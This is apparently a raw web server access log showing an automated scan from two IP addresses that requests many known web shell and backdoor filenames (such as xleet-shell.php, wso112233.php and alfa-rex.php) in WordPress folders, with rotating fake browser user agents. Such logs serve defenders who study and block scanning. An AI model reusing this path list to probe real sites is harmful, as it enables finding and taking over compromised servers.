[23/Apr/2025:03:23:16 -0400] "GET /images/transfusem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /wp-content/themes/mero-megazines/ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:23:16 -0400] "GET /wp-admin/includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /web/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /wp-includes/images/wlw/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /wp-content/themes/welfare-charity/www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:16 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /wordpress/wp-admin/includes HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /wp-includes/Text/Diff/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:16 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-includes/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-admin/user/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-content/plugins/ioxi/ioxi/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-content/uploads/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-content/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:17 -0400] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-admin/includes/rk4.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-admin/css/colors/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-admin/includes/connects.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-includes/block-patterns/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-includes/js/plupload/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-content/themes/applica/400.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-includes/IXR/class-IXR-http.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-content/plugins/ioxi/retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-admin/includes/eorr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /test/aaaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-uploads-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-admin/includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-includes/css/dist/edit-site/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /.well-known/acme-challenge/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-admin/js/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-admin/includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-admin/includes/taxonomy-compiler.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-includes/ID3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:17 -0400] "GET /wp-includes/widgets/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-admin/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-admin/includes/senbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /test/wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-admin/includes/varc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-content/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:23:18 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-admin/maint/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-content/plugins/js_composer/assets/wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-admin/css/colors/fex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-includes/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:18 -0400] "GET /.well-known/acme-challenge/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-includes/images/wlwmod_popular.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-includes/SimplePie/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-admin/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-includes/IXR/class-IXR-requests.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-admin/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:18 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-admin/css/colors/coffee/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-admin/images/slsotot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /load-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-content/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.85 - - [23/Apr/2025:03:23:18 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:18 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /load-styles.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /wp-admin/css/colors/blue/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:19 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /wp-content/fonts/nunito/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /options-discussion.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /images/2008.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:19 -0400] "GET /uploads/Alex-Cross.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /wp-includes/sodium_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /options-general.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /wp-content/plugins/wordpress-three/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:19 -0400] "GET /wp-includes/ID3/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /wp-includes/PHPMailer/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 